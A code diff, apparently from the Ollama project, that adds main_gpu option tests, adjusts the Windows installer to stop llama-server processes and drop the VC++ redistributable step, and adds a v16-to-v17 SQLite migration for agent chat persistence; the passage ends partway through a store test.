func testIntPtr(v int) *int {
|
||||
return &v
|
||||
}
|
||||
|
||||
// testArgs creates ToolCallFunctionArguments from a map (convenience function for tests, order not preserved)
|
||||
func testArgs(m map[string]any) ToolCallFunctionArguments {
|
||||
args := NewToolCallFunctionArguments()
|
||||
@@ -168,6 +172,47 @@ func TestUseMmapParsingFromJSON(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestMainGPUParsingFromJSON(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
req string
|
||||
wantGPU *int
|
||||
}{
|
||||
{
|
||||
name: "Undefined",
|
||||
req: `{}`,
|
||||
},
|
||||
{
|
||||
name: "Zero",
|
||||
req: `{ "main_gpu": 0 }`,
|
||||
wantGPU: testIntPtr(0),
|
||||
},
|
||||
{
|
||||
name: "Nonzero",
|
||||
req: `{ "main_gpu": 1 }`,
|
||||
wantGPU: testIntPtr(1),
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
var oMap map[string]any
|
||||
err := json.Unmarshal([]byte(test.req), &oMap)
|
||||
require.NoError(t, err)
|
||||
|
||||
opts := DefaultOptions()
|
||||
err = opts.FromMap(oMap)
|
||||
require.NoError(t, err)
|
||||
|
||||
if test.wantGPU == nil {
|
||||
assert.Nil(t, opts.MainGPU)
|
||||
} else if assert.NotNil(t, opts.MainGPU) {
|
||||
assert.Equal(t, *test.wantGPU, *opts.MainGPU)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestUseMmapFormatParams(t *testing.T) {
|
||||
tr := true
|
||||
fa := false
|
||||
@@ -232,6 +277,12 @@ func TestUseMmapFormatParams(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestMainGPUFormatParams(t *testing.T) {
|
||||
resp, err := FormatParams(map[string][]string{"main_gpu": {"0"}})
|
||||
require.NoError(t, err)
|
||||
assert.Equal(t, int64(0), resp["main_gpu"])
|
||||
}
|
||||
|
||||
func TestMessage_UnmarshalJSON(t *testing.T) {
|
||||
tests := []struct {
|
||||
input string
|
||||
|
||||
+10
-50
@@ -14,6 +14,7 @@
|
||||
#define MyAppPublisher "Ollama"
|
||||
#define MyAppURL "https://ollama.com/"
|
||||
#define MyAppExeName "ollama app.exe"
|
||||
#define LlamaServerExeName "llama-server.exe"
|
||||
#define MyIcon ".\assets\app.ico"
|
||||
|
||||
[Setup]
|
||||
@@ -90,9 +91,8 @@ DialogFontSize=12
|
||||
[Files]
|
||||
#if FileExists("..\dist\windows-ollama-app-amd64.exe")
|
||||
Source: "..\dist\windows-ollama-app-amd64.exe"; DestDir: "{app}"; DestName: "{#MyAppExeName}" ;Check: not IsArm64(); Flags: ignoreversion 64bit; BeforeInstall: TaskKill('{#MyAppExeName}')
|
||||
Source: "..\dist\windows-amd64\vc_redist.x64.exe"; DestDir: "{tmp}"; Check: not IsArm64() and vc_redist_needed(); Flags: deleteafterinstall
|
||||
Source: "..\dist\windows-amd64\ollama.exe"; DestDir: "{app}"; Check: not IsArm64(); Flags: ignoreversion 64bit; BeforeInstall: TaskKill('ollama.exe')
|
||||
Source: "..\dist\windows-amd64\lib\ollama\*"; DestDir: "{app}\lib\ollama\"; Check: not IsArm64(); Flags: ignoreversion 64bit recursesubdirs
|
||||
Source: "..\dist\windows-amd64\lib\ollama\*"; Excludes: "\mlx_*\*"; DestDir: "{app}\lib\ollama\"; Check: not IsArm64(); Flags: ignoreversion 64bit recursesubdirs
|
||||
#endif
|
||||
|
||||
; For local development, rely on binary compatibility at runtime since we can't cross compile
|
||||
@@ -103,9 +103,11 @@ Source: "..\dist\windows-ollama-app-amd64.exe"; DestDir: "{app}"; DestName: "{#M
|
||||
#endif
|
||||
|
||||
#if FileExists("..\dist\windows-arm64\ollama.exe")
|
||||
Source: "..\dist\windows-arm64\vc_redist.arm64.exe"; DestDir: "{tmp}"; Check: IsArm64() and vc_redist_needed(); Flags: deleteafterinstall
|
||||
Source: "..\dist\windows-arm64\ollama.exe"; DestDir: "{app}"; Check: IsArm64(); Flags: ignoreversion 64bit; BeforeInstall: TaskKill('ollama.exe')
|
||||
#endif
|
||||
#if DirExists("..\dist\windows-arm64\lib\ollama")
|
||||
Source: "..\dist\windows-arm64\lib\ollama\*"; DestDir: "{app}\lib\ollama\"; Check: IsArm64(); Flags: ignoreversion 64bit recursesubdirs
|
||||
#endif
|
||||
|
||||
Source: ".\assets\app.ico"; DestDir: "{app}"; Flags: ignoreversion
|
||||
|
||||
@@ -118,12 +120,6 @@ Name: "{userprograms}\{#MyAppName}"; Filename: "{app}\{#MyAppExeName}"; IconFile
|
||||
Type: files; Name: "{%LOCALAPPDATA}\Ollama\updates"
|
||||
|
||||
[Run]
|
||||
#if DirExists("..\dist\windows-arm64")
|
||||
Filename: "{tmp}\vc_redist.arm64.exe"; Parameters: "/install /passive /norestart"; Check: IsArm64() and vc_redist_needed(); StatusMsg: "Installing VC++ Redistributables..."; Flags: waituntilterminated
|
||||
#endif
|
||||
#if DirExists("..\dist\windows-amd64")
|
||||
Filename: "{tmp}\vc_redist.x64.exe"; Parameters: "/install /passive /norestart"; Check: not IsArm64() and vc_redist_needed(); StatusMsg: "Installing VC++ Redistributables..."; Flags: waituntilterminated
|
||||
#endif
|
||||
Filename: "{cmd}"; Parameters: "/C set PATH={app};%PATH% & ""{app}\{#MyAppExeName}"""; Flags: postinstall nowait runhidden
|
||||
|
||||
[UninstallRun]
|
||||
@@ -131,6 +127,7 @@ Filename: "{cmd}"; Parameters: "/C set PATH={app};%PATH% & ""{app}\{#MyAppExeNam
|
||||
; Filename: "{cmd}"; Parameters: "/C ""taskkill /im ollama.exe /f /t"; Flags: runhidden
|
||||
Filename: "taskkill"; Parameters: "/im ""{#MyAppExeName}"" /f /t"; Flags: runhidden
|
||||
Filename: "taskkill"; Parameters: "/im ""ollama.exe"" /f /t"; Flags: runhidden
|
||||
Filename: "taskkill"; Parameters: "/im ""{#LlamaServerExeName}"" /f /t"; Flags: runhidden
|
||||
; HACK! need to give the server and app enough time to exit
|
||||
; TODO - convert this to a Pascal code script so it waits until they're no longer running, then completes
|
||||
Filename: "{cmd}"; Parameters: "/c timeout 5"; Flags: runhidden
|
||||
@@ -184,46 +181,6 @@ begin
|
||||
Result := Pos(';' + ExpandConstant(Param) + ';', ';' + OrigPath + ';') = 0;
|
||||
end;
|
||||
|
||||
{ --- VC Runtime libraries discovery code - Only install vc_redist if it isn't already installed ----- }
|
||||
const VCRTL_MIN_V1 = 14;
|
||||
const VCRTL_MIN_V2 = 40;
|
||||
const VCRTL_MIN_V3 = 33807;
|
||||
const VCRTL_MIN_V4 = 0;
|
||||
|
||||
// check if the minimum required vc redist is installed (by looking the registry)
|
||||
function vc_redist_needed (): Boolean;
|
||||
var
|
||||
sRegKey: string;
|
||||
v1: Cardinal;
|
||||
v2: Cardinal;
|
||||
v3: Cardinal;
|
||||
v4: Cardinal;
|
||||
begin
|
||||
if (IsArm64()) then begin
|
||||
sRegKey := 'SOFTWARE\WOW6432Node\Microsoft\VisualStudio\14.0\VC\Runtimes\arm64';
|
||||
end else begin
|
||||
sRegKey := 'SOFTWARE\Microsoft\VisualStudio\14.0\VC\Runtimes\x64';
|
||||
end;
|
||||
if (RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'Major', v1) and
|
||||
RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'Minor', v2) and
|
||||
RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'Bld', v3) and
|
||||
RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'RBld', v4)) then
|
||||
begin
|
||||
Log ('VC Redist version: ' + IntToStr (v1) +
|
||||
'.' + IntToStr (v2) + '.' + IntToStr (v3) +
|
||||
'.' + IntToStr (v4));
|
||||
{ Version info was found. Return true if later or equal to our
|
||||
minimal required version RTL_MIN_Vx }
|
||||
Result := not (
|
||||
(v1 > VCRTL_MIN_V1) or ((v1 = VCRTL_MIN_V1) and
|
||||
((v2 > VCRTL_MIN_V2) or ((v2 = VCRTL_MIN_V2) and
|
||||
((v3 > VCRTL_MIN_V3) or ((v3 = VCRTL_MIN_V3) and
|
||||
(v4 >= VCRTL_MIN_V4)))))));
|
||||
end
|
||||
else
|
||||
Result := TRUE;
|
||||
end;
|
||||
|
||||
function GetDirSize(Path: String): Int64;
|
||||
var
|
||||
FindRec: TFindRec;
|
||||
@@ -370,5 +327,8 @@ procedure TaskKill(FileName: String);
|
||||
var
|
||||
ResultCode: Integer;
|
||||
begin
|
||||
Exec('taskkill.exe', '/f /im ' + '"' + FileName + '"', '', SW_HIDE, ewWaitUntilTerminated, ResultCode);
|
||||
Exec('taskkill.exe', '/f /t /im ' + '"' + FileName + '"', '', SW_HIDE, ewWaitUntilTerminated, ResultCode);
|
||||
if FileName <> '{#LlamaServerExeName}' then begin
|
||||
Exec('taskkill.exe', '/f /t /im "{#LlamaServerExeName}"', '', SW_HIDE, ewWaitUntilTerminated, ResultCode);
|
||||
end;
|
||||
end;
|
||||
@@ -164,7 +164,7 @@ func reapServers() error {
|
||||
continue
|
||||
}
|
||||
|
||||
cmd := exec.Command("taskkill", "/F", "/PID", pidStr)
|
||||
cmd := exec.Command("taskkill", "/F", "/T", "/PID", pidStr)
|
||||
if err := cmd.Run(); err != nil {
|
||||
slog.Warn("failed to kill ollama process", "pid", pid, "err", err)
|
||||
}
|
||||
|
||||
+183
-25
@@ -14,7 +14,7 @@ import (
|
||||
|
||||
// currentSchemaVersion defines the current database schema version.
|
||||
// Increment this when making schema changes that require migrations.
|
||||
const currentSchemaVersion = 16
|
||||
const currentSchemaVersion = 17
|
||||
|
||||
// database wraps the SQLite connection.
|
||||
// SQLite handles its own locking for concurrent access:
|
||||
@@ -97,6 +97,8 @@ func (db *database) init() error {
|
||||
CREATE TABLE IF NOT EXISTS chats (
|
||||
id TEXT PRIMARY KEY,
|
||||
title TEXT NOT NULL DEFAULT '',
|
||||
model_name TEXT NOT NULL DEFAULT '',
|
||||
source TEXT NOT NULL DEFAULT 'app',
|
||||
created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
browser_state TEXT
|
||||
);
|
||||
@@ -107,6 +109,7 @@ func (db *database) init() error {
|
||||
role TEXT NOT NULL,
|
||||
content TEXT NOT NULL DEFAULT '',
|
||||
thinking TEXT NOT NULL DEFAULT '',
|
||||
images TEXT NOT NULL DEFAULT '[]',
|
||||
stream BOOLEAN NOT NULL DEFAULT 0,
|
||||
model_name TEXT,
|
||||
model_cloud BOOLEAN, -- deprecated
|
||||
@@ -116,15 +119,21 @@ func (db *database) init() error {
|
||||
thinking_time_start TIMESTAMP,
|
||||
thinking_time_end TIMESTAMP,
|
||||
tool_result TEXT,
|
||||
tool_name TEXT NOT NULL DEFAULT '',
|
||||
tool_call_id TEXT NOT NULL DEFAULT '',
|
||||
archived BOOLEAN NOT NULL DEFAULT 0,
|
||||
FOREIGN KEY (chat_id) REFERENCES chats(id) ON DELETE CASCADE
|
||||
);
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_messages_chat_id ON messages(chat_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_messages_chat_id_id ON messages(chat_id, id);
|
||||
CREATE INDEX IF NOT EXISTS idx_messages_chat_id_archived ON messages(chat_id, archived, id);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS tool_calls (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
message_id INTEGER NOT NULL,
|
||||
type TEXT NOT NULL,
|
||||
tool_call_id TEXT NOT NULL DEFAULT '',
|
||||
function_name TEXT NOT NULL,
|
||||
function_arguments TEXT NOT NULL,
|
||||
function_result TEXT,
|
||||
@@ -133,6 +142,17 @@ func (db *database) init() error {
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_tool_calls_message_id ON tool_calls(message_id);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS compactions (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
chat_id TEXT NOT NULL,
|
||||
summary TEXT NOT NULL,
|
||||
archived_message_ids TEXT NOT NULL DEFAULT '[]',
|
||||
created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
FOREIGN KEY (chat_id) REFERENCES chats(id) ON DELETE CASCADE
|
||||
);
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_compactions_chat_id ON compactions(chat_id, id);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS attachments (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
message_id INTEGER NOT NULL,
|
||||
@@ -271,6 +291,12 @@ func (db *database) migrate() error {
|
||||
return fmt.Errorf("migrate v15 to v16: %w", err)
|
||||
}
|
||||
version = 16
|
||||
case 16:
|
||||
// add agent chat metadata, message archiving, and compaction tables
|
||||
if err := db.migrateV16ToV17(); err != nil {
|
||||
return fmt.Errorf("migrate v16 to v17: %w", err)
|
||||
}
|
||||
version = 17
|
||||
default:
|
||||
// If we have a version we don't recognize, just set it to current
|
||||
// This might happen during development
|
||||
@@ -278,6 +304,10 @@ func (db *database) migrate() error {
|
||||
}
|
||||
}
|
||||
|
||||
if err := db.ensureCurrentSchema(); err != nil {
|
||||
return fmt.Errorf("ensure current schema: %w", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -540,6 +570,128 @@ func (db *database) migrateV15ToV16() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// migrateV16ToV17 adds the agent chat persistence fields to the app database.
|
||||
func (db *database) migrateV16ToV17() error {
|
||||
for _, stmt := range []struct {
|
||||
sql string
|
||||
msg string
|
||||
}{
|
||||
{`ALTER TABLE chats ADD COLUMN model_name TEXT NOT NULL DEFAULT ''`, "add chats.model_name"},
|
||||
{`ALTER TABLE chats ADD COLUMN source TEXT NOT NULL DEFAULT 'app'`, "add chats.source"},
|
||||
{`ALTER TABLE messages ADD COLUMN images TEXT NOT NULL DEFAULT '[]'`, "add messages.images"},
|
||||
{`ALTER TABLE messages ADD COLUMN tool_name TEXT NOT NULL DEFAULT ''`, "add messages.tool_name"},
|
||||
{`ALTER TABLE messages ADD COLUMN tool_call_id TEXT NOT NULL DEFAULT ''`, "add messages.tool_call_id"},
|
||||
{`ALTER TABLE messages ADD COLUMN archived BOOLEAN NOT NULL DEFAULT 0`, "add messages.archived"},
|
||||
{`ALTER TABLE tool_calls ADD COLUMN tool_call_id TEXT NOT NULL DEFAULT ''`, "add tool_calls.tool_call_id"},
|
||||
} {
|
||||
_, err := db.conn.Exec(stmt.sql)
|
||||
if err != nil && !duplicateColumnError(err) {
|
||||
return fmt.Errorf("%s: %w", stmt.msg, err)
|
||||
}
|
||||
}
|
||||
|
||||
_, err := db.conn.Exec(`
|
||||
CREATE INDEX IF NOT EXISTS idx_messages_chat_id_id ON messages(chat_id, id);
|
||||
CREATE INDEX IF NOT EXISTS idx_messages_chat_id_archived ON messages(chat_id, archived, id);
|
||||
CREATE TABLE IF NOT EXISTS compactions (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
chat_id TEXT NOT NULL,
|
||||
summary TEXT NOT NULL,
|
||||
archived_message_ids TEXT NOT NULL DEFAULT '[]',
|
||||
created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
FOREIGN KEY (chat_id) REFERENCES chats(id) ON DELETE CASCADE
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_compactions_chat_id ON compactions(chat_id, id);
|
||||
UPDATE settings SET schema_version = 17;
|
||||
`)
|
||||
if err != nil {
|
||||
return fmt.Errorf("create agent chat persistence tables: %w", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (db *database) ensureCurrentSchema() error {
|
||||
complete, err := db.agentPersistenceSchemaComplete()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if complete {
|
||||
return nil
|
||||
}
|
||||
if err := db.migrateV16ToV17(); err != nil {
|
||||
return err
|
||||
}
|
||||
complete, err = db.agentPersistenceSchemaComplete()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if !complete {
|
||||
return fmt.Errorf("agent persistence schema is incomplete")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (db *database) agentPersistenceSchemaComplete() (bool, error) {
|
||||
for _, table := range []string{"compactions"} {
|
||||
exists, err := db.tableExists(table)
|
||||
if err != nil || !exists {
|
||||
return false, err
|
||||
}
|
||||
}
|
||||
for _, column := range []struct {
|
||||
table string
|
||||
name string
|
||||
}{
|
||||
{"chats", "model_name"},
|
||||
{"chats", "source"},
|
||||
{"messages", "images"},
|
||||
{"messages", "tool_name"},
|
||||
{"messages", "tool_call_id"},
|
||||
{"messages", "archived"},
|
||||
{"tool_calls", "tool_call_id"},
|
||||
} {
|
||||
exists, err := db.columnExists(column.table, column.name)
|
||||
if err != nil || !exists {
|
||||
return false, err
|
||||
}
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
func (db *database) tableExists(table string) (bool, error) {
|
||||
var count int
|
||||
if err := db.conn.QueryRow(`SELECT COUNT(*) FROM sqlite_master WHERE type = 'table' AND name = ?`, table).Scan(&count); err != nil {
|
||||
return false, err
|
||||
}
|
||||
return count > 0, nil
|
||||
}
|
||||
|
||||
func (db *database) columnExists(table, column string) (bool, error) {
|
||||
rows, err := db.conn.Query(fmt.Sprintf("PRAGMA table_info(%s)", table))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
for rows.Next() {
|
||||
var cid int
|
||||
var name, dataType sql.NullString
|
||||
var notNull, primaryKey int
|
||||
var defaultValue sql.NullString
|
||||
if err := rows.Scan(&cid, &name, &dataType, ¬Null, &defaultValue, &primaryKey); err != nil {
|
||||
return false, err
|
||||
}
|
||||
if name.String == column {
|
||||
return true, nil
|
||||
}
|
||||
}
|
||||
if err := rows.Err(); err != nil {
|
||||
return false, err
|
||||
}
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// cleanupOrphanedData removes orphaned records that may exist due to the foreign key bug
|
||||
func (db *database) cleanupOrphanedData() error {
|
||||
_, err := db.conn.Exec(`
|
||||
@@ -584,18 +736,21 @@ func (db *database) getAllChats() ([]Chat, error) {
|
||||
c.id,
|
||||
c.title,
|
||||
c.created_at,
|
||||
COALESCE(first_msg.content, '') as first_user_content,
|
||||
COALESCE(datetime(MAX(m.updated_at)), datetime(c.created_at)) as last_updated
|
||||
COALESCE((
|
||||
SELECT fm.content
|
||||
FROM messages fm
|
||||
WHERE fm.chat_id = c.id
|
||||
AND fm.role = 'user'
|
||||
AND fm.archived = 0
|
||||
ORDER BY fm.id ASC
|
||||
LIMIT 1
|
||||
), '') as first_user_content,
|
||||
COALESCE(MAX(m.updated_at), c.created_at) as last_updated
|
||||
FROM chats c
|
||||
LEFT JOIN (
|
||||
SELECT chat_id, content, MIN(id) as min_id
|
||||
FROM messages
|
||||
WHERE role = 'user'
|
||||
GROUP BY chat_id
|
||||
) first_msg ON c.id = first_msg.chat_id
|
||||
LEFT JOIN messages m ON c.id = m.chat_id
|
||||
GROUP BY c.id, c.title, c.created_at, first_msg.content
|
||||
ORDER BY last_updated DESC
|
||||
LEFT JOIN messages m ON c.id = m.chat_id AND m.archived = 0
|
||||
WHERE c.source = 'app'
|
||||
GROUP BY c.id, c.title, c.created_at
|
||||
ORDER BY last_updated DESC, COALESCE(MAX(m.id), 0) DESC, c.created_at DESC, c.id DESC
|
||||
`
|
||||
|
||||
rows, err := db.conn.Query(query)
|
||||
@@ -618,25 +773,27 @@ func (db *database) getAllChats() ([]Chat, error) {
|
||||
&firstUserContent,
|
||||
&lastUpdatedStr,
|
||||
)
|
||||
|
||||
// Parse the last updated time
|
||||
lastUpdated, _ := time.Parse("2006-01-02 15:04:05", lastUpdatedStr)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("scan chat: %w", err)
|
||||
}
|
||||
|
||||
lastUpdated, err := parseAgentSQLiteTime(lastUpdatedStr)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("parse chat updated_at: %w", err)
|
||||
}
|
||||
|
||||
chat.CreatedAt = createdAt
|
||||
|
||||
// Add a dummy first user message for the UI to display
|
||||
// This is just for the excerpt, full messages are loaded when needed
|
||||
chat.Messages = []Message{}
|
||||
if firstUserContent != "" {
|
||||
chat.Messages = append(chat.Messages, Message{
|
||||
Role: "user",
|
||||
Content: firstUserContent,
|
||||
UpdatedAt: lastUpdated,
|
||||
})
|
||||
// Add a summary message for the UI to display the excerpt and latest update.
|
||||
// Full messages are loaded when a chat is opened.
|
||||
summary := Message{
|
||||
UpdatedAt: lastUpdated,
|
||||
}
|
||||
if firstUserContent != "" {
|
||||
summary.Role = "user"
|
||||
summary.Content = firstUserContent
|
||||
}
|
||||
chat.Messages = []Message{summary}
|
||||
|
||||
chats = append(chats, chat)
|
||||
}
|
||||
@@ -780,6 +937,7 @@ func (db *database) updateLastMessage(chatID string, msg Message) error {
|
||||
var messageID int64
|
||||
err = tx.QueryRow(`
|
||||
SELECT MAX(id) FROM messages WHERE chat_id = ?
|
||||
AND archived = 0
|
||||
`, chatID).Scan(&messageID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("get last message id: %w", err)
|
||||
@@ -887,7 +1045,7 @@ func (db *database) getMessages(chatID string, loadAttachmentData bool) ([]Messa
|
||||
query := `
|
||||
SELECT id, role, content, thinking, stream, model_name, created_at, updated_at, thinking_time_start, thinking_time_end, tool_result
|
||||
FROM messages
|
||||
WHERE chat_id = ?
|
||||
WHERE chat_id = ? AND archived = 0
|
||||
ORDER BY id ASC
|
||||
`
|
||||
|
||||
|
||||
@@ -174,6 +174,100 @@ func TestMigrationV15ToV16LastHomeViewDefaultsToLaunch(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestMigrationV16ToV17AddsAgentSchema(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
dbPath := filepath.Join(tmpDir, "test.db")
|
||||
|
||||
db, err := newDatabase(dbPath)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to create database: %v", err)
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
if _, err := db.conn.Exec(`
|
||||
DROP INDEX IF EXISTS idx_messages_chat_id_id;
|
||||
DROP INDEX IF EXISTS idx_messages_chat_id_archived;
|
||||
DROP INDEX IF EXISTS idx_compactions_chat_id;
|
||||
DROP TABLE IF EXISTS compactions;
|
||||
ALTER TABLE chats DROP COLUMN model_name;
|
||||
ALTER TABLE chats DROP COLUMN source;
|
||||
ALTER TABLE messages DROP COLUMN images;
|
||||
ALTER TABLE messages DROP COLUMN tool_name;
|
||||
ALTER TABLE messages DROP COLUMN tool_call_id;
|
||||
ALTER TABLE messages DROP COLUMN archived;
|
||||
ALTER TABLE tool_calls DROP COLUMN tool_call_id;
|
||||
UPDATE settings SET schema_version = 16;
|
||||
`); err != nil {
|
||||
t.Fatalf("failed to seed v16 schema: %v", err)
|
||||
}
|
||||
|
||||
if err := db.migrate(); err != nil {
|
||||
t.Fatalf("migration from v16 to v17 failed: %v", err)
|
||||
}
|
||||
|
||||
version, err := db.getSchemaVersion()
|
||||
if err != nil {
|
||||
t.Fatalf("failed to get schema version: %v", err)
|
||||
}
|
||||
if version != 17 {
|
||||
t.Fatalf("expected schema version 17, got %d", version)
|
||||
}
|
||||
|
||||
columns := columnMap(db)
|
||||
for _, want := range []struct {
|
||||
table string
|
||||
column string
|
||||
}{
|
||||
{"chats", "model_name TEXT NOT NULL DEFAULT ''"},
|
||||
{"chats", "source TEXT NOT NULL DEFAULT 'app'"},
|
||||
{"messages", "images TEXT NOT NULL DEFAULT '[]'"},
|
||||
{"messages", "archived BOOLEAN NOT NULL DEFAULT 0"},
|
||||
{"tool_calls", "tool_call_id TEXT NOT NULL DEFAULT ''"},
|
||||
} {
|
||||
if !containsString(columns[want.table], want.column) {
|
||||
t.Fatalf("%s columns missing %q: %#v", want.table, want.column, columns[want.table])
|
||||
}
|
||||
}
|
||||
if _, ok := columns["compactions"]; !ok {
|
||||
t.Fatalf("compactions table was not created: %#v", columns)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMigrationRepairsIncompleteCurrentSchema(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
dbPath := filepath.Join(tmpDir, "test.db")
|
||||
|
||||
db, err := newDatabase(dbPath)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to create database: %v", err)
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
if _, err := db.conn.Exec(`
|
||||
ALTER TABLE chats DROP COLUMN source;
|
||||
UPDATE settings SET schema_version = 17;
|
||||
`); err != nil {
|
||||
t.Fatalf("failed to seed incomplete current schema: %v", err)
|
||||
}
|
||||
|
||||
if err := db.migrate(); err != nil {
|
||||
t.Fatalf("migration repair failed: %v", err)
|
||||
}
|
||||
|
||||
version, err := db.getSchemaVersion()
|
||||
if err != nil {
|
||||
t.Fatalf("failed to get schema version: %v", err)
|
||||
}
|
||||
if version != currentSchemaVersion {
|
||||
t.Fatalf("expected schema version %d, got %d", currentSchemaVersion, version)
|
||||
}
|
||||
|
||||
columns := columnMap(db)
|
||||
if !containsString(columns["chats"], "source TEXT NOT NULL DEFAULT 'app'") {
|
||||
t.Fatalf("chats.source was not repaired: %#v", columns["chats"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestChatDeletionWithCascade(t *testing.T) {
|
||||
t.Run("chat deletion cascades to related messages", func(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
@@ -369,6 +463,15 @@ func countRowsWithCondition(t *testing.T, db *database, table, condition string,
|
||||
return count
|
||||
}
|
||||
|
||||
func containsString(values []string, want string) bool {
|
||||
for _, value := range values {
|
||||
if value == want {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// Test helpers for schema migration testing
|
||||
|
||||
// schemaMap returns both tables/columns and indexes (ignoring order)
|
||||
|
||||
+1
-1
@@ -41,7 +41,7 @@ func ImgBytes(path string) ([]byte, error) {
|
||||
func (s *Store) ImgDir() string {
|
||||
dbPath := s.DBPath
|
||||
if dbPath == "" {
|
||||
dbPath = defaultDBPath
|
||||
dbPath = defaultDBPath()
|
||||
}
|
||||
storeDir := filepath.Dir(dbPath)
|
||||
return filepath.Join(storeDir, "cache", "images")
|
||||
|
||||
+3
-2
@@ -107,6 +107,7 @@ type Chat struct {
|
||||
ID string `json:"id"`
|
||||
Messages []Message `json:"messages"`
|
||||
Title string `json:"title"`
|
||||
Model string `json:"model,omitempty"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
BrowserState json.RawMessage `json:"browser_state,omitempty" ts_type:"BrowserStateData"`
|
||||
}
|
||||
@@ -192,7 +193,7 @@ var defaultDBPath = func() string {
|
||||
default:
|
||||
return filepath.Join(os.Getenv("HOME"), ".ollama", "db.sqlite")
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// legacyConfigPath is the path to the old config.json file
|
||||
var legacyConfigPath = func() string {
|
||||
@@ -229,7 +230,7 @@ func (s *Store) ensureDB() error {
|
||||
|
||||
dbPath := s.DBPath
|
||||
if dbPath == "" {
|
||||
dbPath = defaultDBPath
|
||||
dbPath = defaultDBPath()
|
||||
}
|
||||
|
||||
// Ensure directory exists
|
||||
|
||||
@@ -5,6 +5,7 @@ package store
|
||||
import (
|
||||
"path/filepath"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestStore(t *testing.T) {
|
||||
@@ -227,6 +228,96 @@ func TestStore(t *testing.T) {
|
||||
})
|
||||
}
|
||||
|
||||
func TestStoreChatSummariesUseLatestActivity(t *testing.T) {
|
||||
s, cleanup := setupTestStore(t)
|
||||
defer cleanup()
|
||||
|
||||
base := time.Date(2026, 6, 23, 15, 30, 45, 0, time.UTC)
|
||||
|
||||
oldChat := NewChat("chat-old")
|
||||
oldChat.Title = "Old Chat"
|
||||
oldChat.CreatedAt = base
|
||||
oldChat.Messages = []Message{
|
||||
{
|
||||
Role: "user",
|
||||
Content: "older first prompt",
|
||||
CreatedAt: base.Add(100 * time.Millisecond),
|
||||
UpdatedAt: base.Add(100 * time.Millisecond),
|
||||
},
|
||||
{
|
||||
Role: "user",
|
||||
Content: "older second prompt",
|
||||
CreatedAt: base.Add(200 * time.Millisecond),
|
||||
UpdatedAt: base.Add(200 * time.Millisecond),
|
||||
},
|
||||
}
|
||||
if err := s.SetChat(*oldChat); err != nil {
|
||||
t.Fatalf("failed to save old chat: %v", err)
|
||||
}
|
||||
|
||||
newChat := NewChat("chat-new")
|
||||
newChat.Title = "New Chat"
|
||||
newChat.CreatedAt = base
|
||||
newChat.Messages = []Message{
|
||||
{
|
||||
Role: "user",
|
||||
Content: "newer prompt",
|
||||
CreatedAt: base.Add(900 * time.Millisecond),
|
||||
UpdatedAt: base.Add(900 * time.Millisecond),
|
||||
},
|
||||
}
|
||||
if err := s.SetChat(*newChat); err != nil {
|
||||
t.Fatalf("failed to save new chat: %v", err)
|
||||
}
|
||||
|
||||
activityOnlyChat := NewChat("chat-activity-only")
|
||||
activityOnlyChat.Title = "Activity Only Chat"
|
||||
activityOnlyChat.CreatedAt = base
|
||||
activityOnlyChat.Messages = []Message{
|
||||
{
|
||||
Role: "assistant",
|
||||
Content: "recent assistant activity",
|
||||
CreatedAt: base.Add(1500 * time.Millisecond),
|
||||
UpdatedAt: base.Add(1500 * time.Millisecond),
|
||||
},
|
||||
}
|
||||
if err := s.SetChat(*activityOnlyChat); err != nil {
|
||||
